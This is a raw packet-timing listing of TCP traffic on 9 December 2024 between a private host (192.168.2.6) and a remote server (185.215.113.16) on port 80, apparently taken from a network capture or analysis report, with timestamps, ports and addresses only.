Dec 9, 2024 21:09:35.631819010 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.631887913 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.632620096 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.632689953 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.632741928 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.632805109 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.633840084 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.633909941 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.634051085 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.634119987 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.634861946 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.634923935 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.634994984 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.635061979 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.635905981 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.636008978 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.636142969 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.636217117 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.637005091 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.637073040 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.637414932 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.637478113 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.638115883 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.638379097 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.638456106 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.639240026 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.639302969 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.639318943 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.639404058 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.640347004 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.640420914 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.771541119 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.771601915 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.771652937 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.771692038 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.771955967 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.772008896 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.772147894 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.772192955 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.773153067 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.773202896 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.773339987 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.773417950 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.774209023 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.774382114 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.774425983 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.775274992 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.775327921 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.775445938 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.775490999 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.776390076 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.776438951 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.776551008 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.776592016 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.777549982 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.777865887 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.777946949 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.782294035 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.782365084 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.782444954 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.782500029 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.782808065 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.782866955 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.783036947 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.783082962 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.783185005 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.783230066 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.784090042 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.784162998 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.784372091 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.784415960 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.785218000 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.785265923 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.785562038 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.785613060 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.786387920 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.786478043 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.786689997 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.786732912 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.787532091 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.787583113 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.787611008 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.787651062 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.788544893 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.788599968 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.789033890 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.789736032 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.789788961 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.789870977 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.789912939 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.790853977 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.790899038 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.791640997 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.791696072 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.791950941 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.791961908 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.791999102 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.792028904 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.793139935 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.793196917 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.793215990 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.793256044 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.794087887 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.794137955 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.794553041 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.794596910 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.795239925 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.795474052 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.795521021 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.796302080 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.796350956 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.796437979 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.796482086 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.797527075 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.797585011 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.797663927 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.797708988 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.798651934 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.798711061 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.798751116 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.799599886 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.799704075 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.799746990 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.799786091 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.800708055 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.800909996 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.801011086 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.801105976 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.801902056 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.802061081 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.802066088 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.802192926 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.802994013 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.803051949 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.803092003 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.803131104 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.804073095 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.804126024 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.804287910 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.804351091 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.805155039 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.805200100 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.805278063 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.805316925 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.806332111 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.806376934 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.806582928 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.806627035 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.807429075 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.807491064 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.807800055 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.807857037 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.808686972 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.808749914 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.808940887 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.808995962 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.809798002 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.809854031 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.809969902 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.810009956 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.810739040 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.810798883 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.811465979 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.811511040 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.811914921 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.811924934 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.811959028 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.811979055 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.812927961 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.813028097 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.813076973 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.814032078 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.814081907 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.814416885 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.814483881 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.815128088 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.815373898 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.815422058 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.816222906 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.816235065 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.816273928 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.817389011 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.817440033 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.817574978 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.817620993 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.818490982 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.818672895 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.818718910 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.819662094 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.819716930 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.819837093 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.819879055 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.820658922 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.820710897 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.820879936 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.820934057 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.821871042 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.822119951 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.822124004 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.822160959 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.822895050 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.823218107 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.823265076 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.824209929 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.824265003 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.824367046 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.824410915 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.825109005 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.825185061 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.825237989 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.825279951 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.826235056 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.826292038 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.826412916 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.826457977 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.827295065 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.827692986 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.827733994 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.828438044 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.828485966 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.828852892 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.828896999 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.829622984 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.829675913 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.829818010 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.829859972 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.830720901 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.830895901 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.830936909 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.831765890 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.831943035 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.831984043 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.832823038 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.832942963 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.973115921 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.973347902 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.973407984 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.973716974 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.973762989 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.974248886 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.974792004 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.974845886 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.974872112 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.974916935 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.975869894 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.975927114 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.976099968 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.976140022 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.976995945 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.977404118 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.977466106 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.978204012 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.978260040 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.978637934 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.978682041 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.979188919 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.979482889 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.979527950 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.979582071 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.980272055 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.980314016 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.980477095 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.980521917 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.981408119 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.981455088 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.981635094 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.981678963 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.982616901 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.982660055 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.982973099 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.983627081 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.983685970 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.983928919 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.983975887 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.984827995 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.984900951 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.985182047 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.985232115 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.986047029 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.986505985 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.986556053 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.987035990 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.987077951 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.987375975 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.987416029 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.988182068 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.988221884 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.988524914 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.988564014 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.989172935 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.989229918 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.989341021 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.989387035 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.990298033 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.990309954 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.990520954 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.991380930 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.991497040 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.991525888 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.991525888 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.992578030 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.992860079 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.992903948 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.993585110 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.993627071 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.994030952 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.994074106 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.994812965 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.994851112 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.994937897 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.995805025 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.995839119 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.996654987 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.996711969 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.996891022 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.996908903 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.996937037 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.996953964 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.998022079 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.998502016 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.998548985 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.999165058 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.999212980 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:35.999408960 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:35.999453068 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.000253916 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.000385046 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.000874043 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.000926018 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.001420021 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.001430035 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.001452923 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.001472950 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.002474070 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.002623081 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.002665043 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.003612041 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.003658056 CET	49923	80	192.168.2.6	185.215.113.16
Dec 9, 2024 21:09:36.004021883 CET	80	49923	185.215.113.16	192.168.2.6
Dec 9, 2024 21:09:36.004071951 CET	49923	80	192.168.2.6	185.215.113.16
